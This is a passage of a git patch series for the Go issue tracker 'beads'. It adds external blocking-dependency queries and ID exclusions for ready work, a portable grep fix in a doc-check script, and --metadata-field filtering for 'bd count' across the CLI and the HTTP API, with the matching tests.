!= nil { + t.Fatalf("GetBlockedIssues second page: %v", err) + } + if ids := blockedIssueIDs(second); !slices.Equal(ids, []string{local.ID}) { + t.Fatalf("second page IDs = %v, want [%s]", ids, local.ID) + } + _, err = uw.IssueUseCase().GetBlockedIssues(t.Context(), types.WorkFilter{MaxRows: 1, MaxRowsSource: "--max-rows"}) + var capErr *issueops.ErrTooManyRows + if !errors.As(err, &capErr) { + t.Fatalf("GetBlockedIssues MaxRows error = %v, want ErrTooManyRows", err) + } +} diff --git a/internal/storage/issueops/dependencies.go b/internal/storage/issueops/dependencies.go index 1604b0d6c..494831374 100644 --- a/internal/storage/issueops/dependencies.go +++ b/internal/storage/issueops/dependencies.go @@ -175,6 +175,10 @@ func AddDependencyInTx(ctx context.Context, tx *sql.Tx, dep *types.Dependency, a } func addDependencyInTx(ctx context.Context, tx *sql.Tx, dep *types.Dependency, actor string, opts AddDependencyOpts, recomputeResult *RecomputeIsBlockedResult) (bool, error) { + if strings.HasPrefix(dep.DependsOnID, "external:") && dep.Type == types.DepParentChild { + return false, fmt.Errorf("external capability dependencies cannot use parent-child edges") + } + // Auto-detect source routing if not provided. sourceTable := opts.SourceTable writeTable := opts.WriteTable diff --git a/internal/storage/issueops/dependency_queries.go b/internal/storage/issueops/dependency_queries.go index 39c3b1dfb..03e659b74 100644 --- a/internal/storage/issueops/dependency_queries.go +++ b/internal/storage/issueops/dependency_queries.go @@ -26,6 +26,49 @@ func GetAllDependencyRecordsInTx(ctx context.Context, tx DBTX) (map[string][]*ty return result, nil } +// GetExternalBlockingDependencyRecordsInTx returns explicit external: edges +// whose dependency type can block ready work. Cross-prefix issue IDs may share +// depends_on_external storage, so the external: prefix check is intentional. +func GetExternalBlockingDependencyRecordsInTx(ctx context.Context, tx DBTX) (map[string][]*types.Dependency, error) { + result := make(map[string][]*types.Dependency) + for _, depTable := range []string{"dependencies", "wisp_dependencies"} { + if err := getExternalBlockingDependencyRecordsIntoFromTable(ctx, tx, depTable, result); err != nil { + if optionalBlockedTable(depTable) && isTableNotExistError(err) { + continue + } + return nil, err + } + } + return result, nil +} + +//nolint:gosec // G201: depTable is "dependencies" or "wisp_dependencies" (hardcoded by caller). +func getExternalBlockingDependencyRecordsIntoFromTable(ctx context.Context, tx DBTX, depTable string, result map[string][]*types.Dependency) error { + rows, err := tx.QueryContext(ctx, fmt.Sprintf(` + SELECT issue_id, %s AS depends_on_id, type, created_at, created_by, metadata, thread_id + FROM %s + WHERE depends_on_external LIKE 'external:%%' + AND type IN ('blocks', 'conditional-blocks', 'waits-for') + ORDER BY issue_id + `, DepTargetExpr, depTable)) + if err != nil { + return fmt.Errorf("get external blocking dependency records from %s: %w", depTable, err) + } + defer rows.Close() + + for rows.Next() { + dep, scanErr := scanDependencyRow(rows) + if scanErr != nil { + return fmt.Errorf("get external blocking dependency records from %s: %w", depTable, scanErr) + } + result[dep.IssueID] = append(result[dep.IssueID], dep) + } + if err := rows.Err(); err != nil { + return fmt.Errorf("get external blocking dependency records from %s: %w", depTable, err) + } + return nil +} + //nolint:gosec // G201: depTable is "dependencies" or "wisp_dependencies" (hardcoded by caller). func getAllDependencyRecordsIntoFromTable(ctx context.Context, tx DBTX, depTable string, result map[string][]*types.Dependency) error { // Total order: issue_id alone is only a grouping key; without a tiebreaker the diff --git a/internal/storage/issueops/dependency_queries_test.go b/internal/storage/issueops/dependency_queries_test.go index 1e4884881..5d7a68888 100644 --- a/internal/storage/issueops/dependency_queries_test.go +++ b/internal/storage/issueops/dependency_queries_test.go @@ -24,6 +24,11 @@ func dependencyRecordsForIssuesQueryRegex(table string) string { regexp.QuoteMeta(table) + ` WHERE issue_id IN \(\?\) ORDER BY issue_id, depends_on_id, type, id` } +func externalBlockingDependencyRecordsQueryRegex(table string) string { + return `(?s)SELECT issue_id, COALESCE\(depends_on_issue_id, depends_on_wisp_id, depends_on_external\) AS depends_on_id, type, created_at, created_by, metadata, thread_id\s+FROM ` + + regexp.QuoteMeta(table) + `\s+WHERE depends_on_external LIKE 'external:%'\s+AND type IN \('blocks', 'conditional-blocks', 'waits-for'\)\s+ORDER BY issue_id` +} + func dependencyRows() *sqlmock.Rows { return sqlmock.NewRows([]string{ "issue_id", @@ -91,6 +96,35 @@ func TestGetAllDependencyRecordsInTxToleratesMissingWispDependencyTable(t *testi } } +func TestGetExternalBlockingDependencyRecordsInTxReadsPermanentAndWispEdges(t *testing.T) { + t.Parallel() + + _, mock, tx := beginMockTx(t) + now := time.Now() + mock.ExpectQuery(externalBlockingDependencyRecordsQueryRegex("dependencies")). + WillReturnRows(dependencyRows().AddRow( + "perm-source", "external:remote:payments", types.DepBlocks, now, "tester", "{}", "", + )) + mock.ExpectQuery(externalBlockingDependencyRecordsQueryRegex("wisp_dependencies")). + WillReturnRows(dependencyRows().AddRow( + "wisp-source", "external:remote:identity", types.DepWaitsFor, now, "tester", "{}", "", + )) + + got, err := GetExternalBlockingDependencyRecordsInTx(context.Background(), tx) + if err != nil { + t.Fatalf("GetExternalBlockingDependencyRecordsInTx: %v", err) + } + if dep := onlyDependency(t, got, "perm-source"); dep.DependsOnID != "external:remote:payments" { + t.Fatalf("permanent external target = %q", dep.DependsOnID) + } + if dep := onlyDependency(t, got, "wisp-source"); dep.DependsOnID != "external:remote:identity" { + t.Fatalf("wisp external target = %q", dep.DependsOnID) + } + if err := mock.ExpectationsWereMet(); err != nil { + t.Fatalf("unmet SQL expectations: %v", err) + } +} + func onlyDependency(t *testing.T, deps map[string][]*types.Dependency, issueID string) *types.Dependency { t.Helper() diff --git a/internal/storage/sqlbuild/ready.go b/internal/storage/sqlbuild/ready.go index f599467e3..eb0483b05 100644 --- a/internal/storage/sqlbuild/ready.go +++ b/internal/storage/sqlbuild/ready.go @@ -144,6 +144,15 @@ func BuildReadyWorkWhere(filter types.WorkFilter, tables FilterTables, in ReadyW whereClauses = append(whereClauses, fmt.Sprintf("id NOT IN (%s)", placeholders)) } } + for start := 0; start < len(filter.ExcludeIDs); start += QueryBatchSize { + end := start + QueryBatchSize + if end > len(filter.ExcludeIDs) { + end = len(filter.ExcludeIDs) + } + placeholders, batchArgs := InPlaceholders(filter.ExcludeIDs[start:end]) + args = append(args, batchArgs...) + whereClauses = append(whereClauses, fmt.Sprintf("id NOT IN (%s)", placeholders)) + } if len(filter.Labels) > 0 { for _, label := range filter.Labels { diff --git a/internal/storage/sqlbuild/sqlbuild_test.go b/internal/storage/sqlbuild/sqlbuild_test.go index 5f3300ed7..0c6d2769a 100644 --- a/internal/storage/sqlbuild/sqlbuild_test.go +++ b/internal/storage/sqlbuild/sqlbuild_test.go @@ -1,6 +1,7 @@ package sqlbuild import ( + "fmt" "strings" "testing" "time" @@ -162,6 +163,30 @@ func TestBuildReadyWorkWhereBatchesIDSets(t *testing.T) { } } +func TestBuildReadyWorkWhereAppliesPolicyIDExclusions(t *testing.T) { + t.Parallel() + + ids := make([]string, QueryBatchSize+1) + for i := range ids { + ids[i] = fmt.Sprintf("be-external-%d", i) + } + where, args, err := BuildReadyWorkWhere( + types.WorkFilter{ExcludeIDs: ids}, + IssuesFilterTables, + ReadyWorkWhereInputs{}, + ) + if err != nil { + t.Fatalf("BuildReadyWorkWhere: %v", err) + } + if got := strings.Count(where, "id NOT IN ("); got != 2 { + t.Fatalf("external policy exclusions produced %d NOT IN clauses, want 2", got) + } + wantArgs := len(ids) + len(ReadyWorkExcludeTypes(nil)) + if len(args) != wantArgs { + t.Fatalf("args = %d, want %d", len(args), wantArgs) + } +} + // wy-jpd3.2: --label-any was silently dropped on the ready/claim path (with or // without --parent). BuildReadyWorkWhere must now emit an OR-set membership // clause for LabelsAny that AND-combines with the AND-set Labels and the parent diff --git a/internal/storage/storage.go b/internal/storage/storage.go index 953bf31f1..f8768dcdb 100644 --- a/internal/storage/storage.go +++ b/internal/storage/storage.go @@ -871,6 +871,13 @@ type ReadyWorkCounter interface { CountReadyWork(ctx context.Context, filter types.WorkFilter) (int, error) } +// ExternalDependencyQueryStore returns the narrow set of explicit external +// blocking edges. Policy decorators use this instead of scanning every graph +// edge on each ready-work query. +type ExternalDependencyQueryStore interface { + GetExternalBlockingDependencyRecords(ctx context.Context) (map[string][]*types.Dependency, error) +} + // Transaction provides atomic multi-operation support within a single database transaction. // // The Transaction interface exposes a subset of storage methods that execute within diff --git a/internal/storage/uow/notifying_parity_test.go b/internal/storage/uow/notifying_parity_test.go index bf1066d58..19da210db 100644 --- a/internal/storage/uow/notifying_parity_test.go +++ b/internal/storage/uow/notifying_parity_test.go @@ -189,24 +189,25 @@ func TestRecordingDependencyUseCaseCoversItsSurface(t *testing.T) { // — an ancestry walk and a reachability walk — so there is nothing // for the recorder to notify about; the writes those gates guard are // recorded by AddDependencies, which is declared below. - "ValidateBlockingHierarchy": reads, - "CycleThroughEdges": reads, - "DetectCycleReport": reads, - "DetectCycles": reads, - "GetBlockingInfo": reads, - "GetDependencyTree": reads, - "GetForIssueIDs": reads, - "GetIssueDependencyRecords": reads, - "GetWispDependencyRecords": reads, - "IsBlocked": reads, - "IsWispBlocked": reads, - "IterWispWithIssueMetadata": reads, - "IterWithIssueMetadata": reads, - "ListByIssueIDs": reads, - "ListByWispIDs": reads, - "ListWispWithIssueMetadata": reads, - "ListWithIssueMetadata": reads, - "WalkDependencyTree": reads, + "ValidateBlockingHierarchy": reads, + "CycleThroughEdges": reads, + "DetectCycleReport": reads, + "DetectCycles": reads, + "GetBlockingInfo": reads, + "GetDependencyTree": reads, + "GetExternalBlockingDependencyRecords": reads, + "GetForIssueIDs": reads, + "GetIssueDependencyRecords": reads, + "GetWispDependencyRecords": reads, + "IsBlocked": reads, + "IsWispBlocked": reads, + "IterWispWithIssueMetadata": reads, + "IterWithIssueMetadata": reads, + "ListByIssueIDs": reads, + "ListByWispIDs": reads, + "ListWispWithIssueMetadata": reads, + "ListWithIssueMetadata": reads, + "WalkDependencyTree": reads, }) } diff --git a/internal/storage/wake_defers.go b/internal/storage/wake_defers.go new file mode 100644 index 000000000..ea2433ed4 --- /dev/null +++ b/internal/storage/wake_defers.go @@ -0,0 +1,10 @@ +package storage + +import "context" + +// ExpiredDeferWaker lets ready-role decorators preserve the backend's lazy +// wake before selecting work. The sweep uses its own transaction and is +// advisory: implementations warn on failure rather than failing the claim. +type ExpiredDeferWaker interface { + WakeExpiredDefersAdvisory(context.Context) +} diff --git a/internal/types/types.go b/internal/types/types.go index 82bc0b243..4ff9afa36 100644 --- a/internal/types/types.go +++ b/internal/types/types.go @@ -2178,6 +2178,11 @@ type WorkFilter struct { // When Type is set, ExcludeTypes is ignored (explicit type inclusion wins). ExcludeTypes []IssueType + // ID exclusion: omit these issues before ordering, pagination, or atomic + // ready-claim selection. Storage policy decorators use this to inject + // query-time blockers that cannot be represented by local is_blocked state. + ExcludeIDs []string + // Metadata field filtering (GH#1406) MetadataFields map[string]string // Top-level key=value equality; AND semantics (all must match) HasMetadataKey string // Existence check: issue has this top-level key set (non-null) diff --git a/internal/workapi/ready_golden_test.go b/internal/workapi/ready_golden_test.go index 914cfba01..f79490bc1 100644 --- a/internal/workapi/ready_golden_test.go +++ b/internal/workapi/ready_golden_test.go @@ -7,6 +7,7 @@ import ( "path/filepath" "testing" + "github.com/steveyegge/beads/internal/types" "github.com/steveyegge/beads/issueops" ) @@ -86,12 +87,9 @@ func TestBuildReadyFilterGolden(t *testing.T) { if err != nil { t.Fatalf("marshal filter: %v", err) } - var want bytes.Buffer - if err := json.Compact(&want, c.Gather.Filter); err != nil { - t.Fatalf("compact golden filter: %v", err) - } - if !bytes.Equal(got, want.Bytes()) { - t.Errorf("filter differs from the recorded pre-collapse filter\n got: %s\nwant: %s", got, want.Bytes()) + want := normalizedGoldenFilter(t, c.Gather.Filter) + if !bytes.Equal(got, want) { + t.Errorf("filter differs from the recorded pre-collapse filter\n got: %s\nwant: %s", got, want) } }) } @@ -101,6 +99,22 @@ func TestBuildReadyFilterGolden(t *testing.T) { } } +// normalizedGoldenFilter absorbs zero-value fields added after the original +// cmd/bd recording. In particular, ExcludeIDs is nil unless a storage policy +// decorates a ready query, so historical CLI inputs must retain its null value. +func normalizedGoldenFilter(t *testing.T, raw json.RawMessage) []byte { + t.Helper() + var filter types.WorkFilter + if err := json.Unmarshal(raw, &filter); err != nil { + t.Fatalf("decode golden filter: %v", err) + } + result, err := json.Marshal(filter) + if err != nil { + t.Fatalf("marshal golden filter: %v", err) + } + return result +} + // TestReadyFilterGoldenDivergences pins the ways cmd/bd's two pre-collapse // builders disagreed *in what the golden recorded*. The collapse had to keep // one branch of each disagreement, so the list is the record of what was From 4c4be78b5c935ae8f819be84b2a636476293f267 Mon Sep 17 00:00:00 2001 From: postoso Date: Wed, 2 Sep 2026 20:25:53 -0400 Subject: [PATCH 015/624] fix(scripts): make check-doc-flags portable to BSD grep and fail loud on grep errors (#6026) Co-authored-by: postoso --- scripts/check-doc-flags.sh | 18 +++++++++++++++--- 1 file changed, 15 insertions(+), 3 deletions(-) diff --git a/scripts/check-doc-flags.sh b/scripts/check-doc-flags.sh index 193ed1579..96ce8d39a 100755 --- a/scripts/check-doc-flags.sh +++ b/scripts/check-doc-flags.sh @@ -93,8 +93,16 @@ echo "" # --- Check 2: bd init flags --- echo "=== Check 2: bd init flags ===" -# Get actual init flags -INIT_FLAGS=$($BD init --help 2>&1 | grep -oP '^\s+--[a-z][a-z0-9-]*' | sed 's/^\s*//' || true) +# Get actual init flags. Match both long-only rows and rows with a short alias. +INIT_FLAGS_OK=1 +if ! INIT_FLAGS=$("$BD" init --help 2>&1 \ + | grep -E '^[[:space:]]+(-[[:alnum:]], )?--[a-z]' \ + | grep -oE -- '--[a-z][a-z0-9-]*' \ + | sort -u); then + echo "FAIL: Could not extract flags from 'bd init --help'" + ERRORS=$((ERRORS + 1)) + INIT_FLAGS_OK=0 +fi # Check for --branch on init (removed) BRANCH_REFS=$(grep -rn 'bd init.*--branch' \ @@ -107,7 +115,11 @@ BRANCH_REFS=$(grep -rn 'bd init.*--branch' \ | grep -v 'CHANGELOG\|removed\|was removed\|no longer\|deprecated' \ || true) -if [ -n "$BRANCH_REFS" ]; then +if [ "$INIT_FLAGS_OK" -ne 1 ]; then + echo "SKIP: Cannot validate 'bd init --branch' without the live init flag list" +elif printf '%s\n' "$INIT_FLAGS" | grep -qx -- '--branch'; then + echo "PASS: 'bd init --branch' is a live flag" +elif [ -n "$BRANCH_REFS" ]; then echo "FAIL: Found references to removed 'bd init --branch' flag:" echo "$BRANCH_REFS" | head -20 ERRORS=$((ERRORS + 1)) From 267085264d10053b22193a5a8c29b148df4b12b8 Mon Sep 17 00:00:00 2001 From: postoso Date: Wed, 2 Sep 2026 20:25:57 -0400 Subject: [PATCH 016/624] feat(count): support --metadata-field filtering (#6024) * feat(count): support --metadata-field filtering * fix(count): review refusal docs, guard test, and changelog --------- Co-authored-by: postoso --- CHANGELOG.md | 5 ++ cmd/bd/count.go | 17 +++++++ cmd/bd/count_embedded_test.go | 13 ++++- cmd/bd/count_filter_test.go | 62 +++++++++++++++--------- cmd/bd/count_proxied_integration_test.go | 8 +++ internal/httpapi/apigen/types.gen.go | 3 ++ internal/httpapi/count_test.go | 28 +++++------ internal/httpapi/problem.go | 26 ++++------ internal/httpapi/reads.go | 7 +-- internal/httpapi/reads_test.go | 1 + internal/httpapi/spec/openapi.v0.yaml | 26 +++++++--- internal/workapi/count.go | 6 +++ internal/workapi/count_test.go | 15 ++++++ issueops/counter.go | 2 + 14 files changed, 154 insertions(+), 65 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 5e5841718..d5445e7fd 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -9,6 +9,11 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ### Added +- **`bd count` supports repeatable `--metadata-field key=value` filters** + ([#6023](https://github.com/gastownhall/beads/issues/6023)), so callers can + count the same metadata-scoped set `bd list` returns without fetching every + row. + - **The events journal records WHO performed each mutation.** `bd_events_journal` gains an `actor` column (migration 0066 plus its ignored-series twin 0025, so upgraded workspaces and fresh clones converge on the same shape), stamped diff --git a/cmd/bd/count.go b/cmd/bd/count.go index 0028490f7..b6ce36ae2 100644 --- a/cmd/bd/count.go +++ b/cmd/bd/count.go @@ -5,10 +5,12 @@ import ( "context" "fmt" "slices" + "strings" "time" "github.com/spf13/cobra" "github.com/steveyegge/beads/internal/metrics" + "github.com/steveyegge/beads/internal/storage" "github.com/steveyegge/beads/issueops" ) @@ -88,6 +90,7 @@ func parseCountRequest(cmd *cobra.Command) (issueops.CountRequest, issueops.Coun noAssignee, _ := cmd.Flags().GetBool("no-assignee") noLabels, _ := cmd.Flags().GetBool("no-labels") includeInfra, _ := cmd.Flags().GetBool("include-infra") + metadataFieldFlags, _ := cmd.Flags().GetStringArray("metadata-field") request := issueops.CountRequest{ Status: status, @@ -105,6 +108,19 @@ func parseCountRequest(cmd *cobra.Command) (issueops.CountRequest, issueops.Coun NoLabels: noLabels, IncludeInfra: includeInfra, } + if len(metadataFieldFlags) > 0 { + request.MetadataFields = make(map[string]string, len(metadataFieldFlags)) + for _, mf := range metadataFieldFlags { + k, v, ok := strings.Cut(mf, "=") + if !ok || k == "" { + return issueops.CountRequest{}, "", HandleErrorRespectJSON("invalid --metadata-field: expected key=value, got %q", mf) + } + if err := storage.ValidateMetadataKey(k); err != nil { + return issueops.CountRequest{}, "", HandleErrorRespectJSON("invalid --metadata-field key: %v", err) + } + request.MetadataFields[k] = v + } + } if cmd.Flags().Changed("priority") { priority, _ := cmd.Flags().GetInt("priority") @@ -262,6 +278,7 @@ func registerCountFlags(cmd *cobra.Command) { cmd.Flags().Bool("empty-description", false, "Filter issues with empty description") cmd.Flags().Bool("no-assignee", false, "Filter issues with no assignee") cmd.Flags().Bool("no-labels", false, "Filter issues with no labels") + cmd.Flags().StringArray("metadata-field", nil, "Filter by metadata field (key=value, repeatable)") // Priority ranges cmd.Flags().Int("priority-min", 0, "Filter by minimum priority (inclusive)") diff --git a/cmd/bd/count_embedded_test.go b/cmd/bd/count_embedded_test.go index 79cf37d19..ed2059816 100644 --- a/cmd/bd/count_embedded_test.go +++ b/cmd/bd/count_embedded_test.go @@ -89,12 +89,13 @@ func TestEmbeddedCount(t *testing.T) { bdCreate(t, bd, dir, "Count labeled", "--type", "task", "--label", "frontend", "--label", "urgent") bdCreate(t, bd, dir, "Count labeled two", "--type", "task", "--label", "backend") bdCreate(t, bd, dir, "Count notes issue", "--type", "task", "--description", "notes keyword here") + bdCreate(t, bd, dir, "Count metadata issue", "--type", "task", "--metadata", `{"count_scope":"matching"}`) // ===== Basic count ===== t.Run("basic_count_no_filters", func(t *testing.T) { out := strings.TrimSpace(bdCount(t, bd, dir)) - // Should return a number >= 8 (we created 8 issues) + // Should return a number >= 9 (we created 9 issues) if out == "0" { t.Error("expected non-zero count") } @@ -168,6 +169,16 @@ func TestEmbeddedCount(t *testing.T) { } }) + // ===== Metadata filter ===== + + t.Run("filter_by_metadata_field", func(t *testing.T) { + got := int(bdCountJSON(t, bd, dir, "--metadata-field", "count_scope=matching")["count"].(float64)) + want := len(bdListJSON(t, bd, dir, "--all", "--limit", "0", "--metadata-field", "count_scope=matching")) + if got != want || got != 1 { + t.Errorf("count --metadata-field = %d, want list cardinality %d and fixture count 1", got, want) + } + }) + // ===== Title filter ===== t.Run("filter_by_title", func(t *testing.T) { diff --git a/cmd/bd/count_filter_test.go b/cmd/bd/count_filter_test.go index cc7a3ada6..457ebe032 100644 --- a/cmd/bd/count_filter_test.go +++ b/cmd/bd/count_filter_test.go @@ -64,6 +64,7 @@ func TestParseCountRequestCarriesEveryFilterFlag(t *testing.T) { "empty-description": "true", "no-assignee": "true", "no-labels": "true", + "metadata-field": "team=platform", "priority": "1", "priority-min": "0", "priority-max": "4", @@ -94,35 +95,50 @@ func TestParseCountRequestCarriesEveryFilterFlag(t *testing.T) { } priority, min, max := 1, 0, 4 want := issueops.CountRequest{ - Status: "closed", - IssueType: "bug", - Assignee: "alice", - Priority: &priority, - PriorityMin: &min, - PriorityMax: &max, - Labels: []string{"alpha", "beta"}, - LabelsAny: []string{"gamma"}, - TitleSearch: "needle", - IDFilter: "bd-1,bd-2", - TitleContains: "tc", - DescContains: "dc", - NotesContains: "nc", - CreatedAfter: day(1), - CreatedBefore: day(2), - UpdatedAfter: day(3), - UpdatedBefore: day(4), - ClosedAfter: day(5), - ClosedBefore: day(6), - EmptyDesc: true, - NoAssignee: true, - NoLabels: true, - IncludeInfra: true, + Status: "closed", + IssueType: "bug", + Assignee: "alice", + Priority: &priority, + PriorityMin: &min, + PriorityMax: &max, + Labels: []string{"alpha", "beta"}, + LabelsAny: []string{"gamma"}, + TitleSearch: "needle", + IDFilter: "bd-1,bd-2", + TitleContains: "tc", + DescContains: "dc", + NotesContains: "nc", + CreatedAfter: day(1), + CreatedBefore: day(2), + UpdatedAfter: day(3), + UpdatedBefore: day(4), + ClosedAfter: day(5), + ClosedBefore: day(6), + EmptyDesc: true, + NoAssignee: true, + NoLabels: true, + MetadataFields: map[string]string{"team": "platform"}, + IncludeInfra: true, } if !reflect.DeepEqual(request, want) { t.Errorf("parseCountRequest built\n %#v\nwant\n %#v", request, want) } } +func TestParseCountRequestRejectsInvalidMetadataField(t *testing.T) { + for _, value := range []string{"team", "bad$key=value"} { + t.Run(value, func(t *testing.T) { + flags := newCountFlagSet(t) + if err := flags.Flags().Set("metadata-field", value); err != nil { + t.Fatalf("set --metadata-field: %v", err) + } + if _, _, err := parseCountRequest(flags); err == nil { + t.Fatalf("parseCountRequest accepted --metadata-field %q", value) + } + }) + } +} + // TestParseCountRequestResolvesTheGroupingFlags pins each --by-* flag to its // dimension and the refusal for two at once. The exclusivity check cannot live // behind the role — by then only one dimension is left — so it is checked here. diff --git a/cmd/bd/count_proxied_integration_test.go b/cmd/bd/count_proxied_integration_test.go index f5491fd1b..b108d1ee3 100644 --- a/cmd/bd/count_proxied_integration_test.go +++ b/cmd/bd/count_proxied_integration_test.go @@ -30,6 +30,7 @@ func TestProxiedServerCount(t *testing.T) { bdProxiedCreate(t, bd, p.dir, "Count labeled", "--type", "task", "--label", "frontend", "--label", "urgent") bdProxiedCreate(t, bd, p.dir, "Count labeled two", "--type", "task", "--label", "backend") bdProxiedCreate(t, bd, p.dir, "Count notes issue", "--type", "task", "--description", "notes keyword here") + bdProxiedCreate(t, bd, p.dir, "Count metadata issue", "--type", "task", "--metadata", `{"count_scope":"matching"}`) // countInt runs "count " and parses the plain integer stdout. countInt := func(t *testing.T, args ...string) int { @@ -121,6 +122,13 @@ func TestProxiedServerCount(t *testing.T) { } }) + t.Run("filter_by_metadata_field", func(t *testing.T) { + got := countJSONInt(t, "--metadata-field", "count_scope=matching") + if want := listCount("--metadata-field", "count_scope=matching"); got != want || got != 1 { + t.Errorf("count --metadata-field = %d, want list cardinality %d and fixture count 1", got, want) + } + }) + // ===== Priority filter ===== t.Run("filter_by_priority", func(t *testing.T) { diff --git a/internal/httpapi/apigen/types.gen.go b/internal/httpapi/apigen/types.gen.go index 75b256751..26b322d2a 100644 --- a/internal/httpapi/apigen/types.gen.go +++ b/internal/httpapi/apigen/types.gen.go @@ -2347,6 +2347,9 @@ type CountIssuesParams struct { // NoLabels Only issues carrying no label. NoLabels *bool `form:"no_labels,omitempty" json:"no_labels,omitempty"` + // MetadataField Top-level metadata equality filter as `key=value`, split on the first `=`. Repeatable. An invalid key is a 400. + MetadataField *[]string `form:"metadata_field,omitempty" json:"metadata_field,omitempty"` + // IncludeInfra Count the cardinality of `bd list --include-infra --all` instead of the durable plane. IT CHANGES FOUR THINGS AT ONCE, and they are listed rather than summarized because a caller reading "include infra" would expect one: // // the ephemeral wisps tier is MERGED IN, picking up both wisps and the `no_history` beads that are durable work stored in that tier; template molecules are EXCLUDED, which a default count includes; gate beads are EXCLUDED unless `type=gate` asks for them by name; and a `type` this workspace calls infra ROUTES the count to the ephemeral tier instead of the durable one. diff --git a/internal/httpapi/count_test.go b/internal/httpapi/count_test.go index 0619e5211..2b48830ae 100644 --- a/internal/httpapi/count_test.go +++ b/internal/httpapi/count_test.go @@ -113,6 +113,7 @@ func TestCountForwardsEveryDocumentedParameter(t *testing.T) { "empty_description": {"true"}, "no_assignee": {"true"}, "no_labels": {"true"}, + "metadata_field": {"team=platform", "env=prod"}, "include_infra": {"true"}, }.Encode()) if resp.StatusCode != http.StatusOK { @@ -158,9 +159,10 @@ func TestCountForwardsEveryDocumentedParameter(t *testing.T) { ClosedAfter: at("2026-05-01T00:00:00Z"), ClosedBefore: at("2026-06-01T00:00:00Z"), - EmptyDesc: true, - NoAssignee: true, - NoLabels: true, + EmptyDesc: true, + NoAssignee: true, + NoLabels: true, + MetadataFields: map[string]string{"team": "platform", "env": "prod"}, IncludeInfra: true, } @@ -535,15 +537,12 @@ func TestCountParametersMatchTheHandler(t *testing.T) { // constants so the server and the role cannot drift; this compares that list // against the DOCUMENT, which is the third party to the agreement. // -// IT IS ALSO WHAT MAKES THE ROLE'S OWN ErrValidation UNREACHABLE FROM THIS -// OPERATION, which is a fact worth pinning rather than discovering. The count -// role has exactly one validation refusal — ValidateCountGroup's unknown -// dimension; BuildCountFilter cannot fail at all — and this handler refuses -// that dimension at the edge. So every `invalid_argument` this operation emits -// is the transport's, and the shared read failure path never sees a role -// refusal. If the enum here and the role's constants ever diverged, a value -// this server accepted and the role refused would arrive as an unclassified -// 500, which is the regression this comparison prevents. +// It also keeps the role's group refusal unreachable from the wire: the +// handler refuses an unknown group at the edge. Metadata validation is a +// separate path. An invalid key reaches BuildCountFilter, whose role refusal +// failReadErr classifies as a 400 on `metadata_field`. This test guards only the +// group vocabulary; if that enum and the role's constants diverged, a value the +// server accepted and the role refused would arrive as an unclassified 500. func TestCountGroupEnumMatchesTheRolesVocabulary(t *testing.T) { doc := loadSpec(t) so := specOps(t, doc)["countIssues"] @@ -600,11 +599,12 @@ var countFieldForParameter = map[string]string{ "empty_description": "EmptyDesc", "no_assignee": "NoAssignee", "no_labels": "NoLabels", + "metadata_field": "MetadataFields", "include_infra": "IncludeInfra", } -// TestEveryCountRequestFieldIsPublished: the role publishes 23 filters and the -// wire publishes all 23. A field added to issueops.CountRequest fails here and +// TestEveryCountRequestFieldIsPublished: the role publishes 24 filters and the +// wire publishes all 24. A field added to issueops.CountRequest fails here and // NAMES itself, so the choice is made deliberately — publish it, or record why // it is withheld — rather than by nobody noticing. // diff --git a/internal/httpapi/problem.go b/internal/httpapi/problem.go index 221b012c7..681eb5934 100644 --- a/internal/httpapi/problem.go +++ b/internal/httpapi/problem.go @@ -712,24 +712,16 @@ var operationCodes = map[string][]Code{ // and can refuse them the same way. limit=0's mode-dependent refusal has no // analog here because there is no limit to pass. OpCountReadyWork: {CodeInvalidArgument, CodeUnauthenticated, CodeBusy, CodeDBUnavailable, CodeInternal}, - // The ready count's vocabulary exactly, and for the same reasons: a - // cardinality has no page, so there is no cursor to invalidate and no - // unlimited-read refusal to make; and no 404, because a predicate matching - // nothing is 0 — the role has no ErrNotFound at all, which its own doc - // states, since a question about a set has an answer even when the set is - // empty. + // A cardinality has no page, so there is no cursor or unlimited-read + // refusal. It has no 404 either: a predicate matching nothing is 0. // - // Its 400 is ENTIRELY THE TRANSPORT'S, which is the one way this row differs - // from the listings' beside it: a malformed boolean, integer or timestamp, a - // repeated single-valued parameter, and a `group_by` outside the closed set. - // - // No ROLE refusal is reachable. issueops.Counter has exactly one - // ErrValidation — ValidateCountGroup's unknown dimension, since - // BuildCountFilter cannot fail — and countGroupOf refuses that dimension at - // the edge, so the shared read failure path never classifies a count. An - // unrecognized status or type is not a refusal at all here; the role - // promises it matches nothing and answers 0. - // TestCountGroupEnumMatchesTheRolesVocabulary is what keeps that true. + // Its 400s come from both the transport and the ROLE. The transport refuses + // malformed values, repeated single-valued parameters and a `group_by` + // outside the closed set. countGroupOf stops that last case at the edge. + // The role has exactly one reachable refusal: BuildCountFilter rejects an + // invalid metadata key. failReadErr classifies it through invalidFilterParam + // as a 400 on `metadata_field`. An unrecognized status or type is not a + // refusal; the role promises it matches nothing and answers 0. OpCountIssues: {CodeInvalidArgument, CodeUnauthenticated, CodeBusy, CodeDBUnavailable, CodeInternal}, // The listing's vocabulary minus the cursor: this operation has none, so // invalid_cursor cannot arise. An unparseable EXPRESSION is an diff --git a/internal/httpapi/reads.go b/internal/httpapi/reads.go index 1b48532b9..a0708c153 100644 --- a/internal/httpapi/reads.go +++ b/internal/httpapi/reads.go @@ -213,9 +213,10 @@ func countFilters(q *query) issueops.CountRequest { ClosedAfter: q.timestamp("closed_after"), ClosedBefore: q.timestamp("closed_before"), - EmptyDesc: q.boolean("empty_description"), - NoAssignee: q.boolean("no_assignee"), - NoLabels: q.boolean("no_labels"), + EmptyDesc: q.boolean("empty_description"), + NoAssignee: q.boolean("no_assignee"), + NoLabels: q.boolean("no_labels"), + MetadataFields: q.metadataFields("metadata_field"), // The plane switch, forwarded as the boolean the caller sent. What it // MEANS — merge the wisps tier, drop templates, drop gates, and route an diff --git a/internal/httpapi/reads_test.go b/internal/httpapi/reads_test.go index f4d5a6313..e585de60c 100644 --- a/internal/httpapi/reads_test.go +++ b/internal/httpapi/reads_test.go @@ -159,6 +159,7 @@ func TestABuilderRefusalIsTheDocumentedBadRequest(t *testing.T) { {"a has-metadata key the query layer cannot spell", "/v0/beads/issues?has_metadata_key=1bad", "has_metadata_key"}, {"a metadata field key on the ready surface", "/v0/beads/ready?metadata_field=1bad=x", "metadata_field"}, {"a has-metadata key on the ready surface", "/v0/beads/ready?has_metadata_key=1bad", "has_metadata_key"}, + {"a metadata field key on the count surface", "/v0/beads/issues:count?metadata_field=1bad=x", 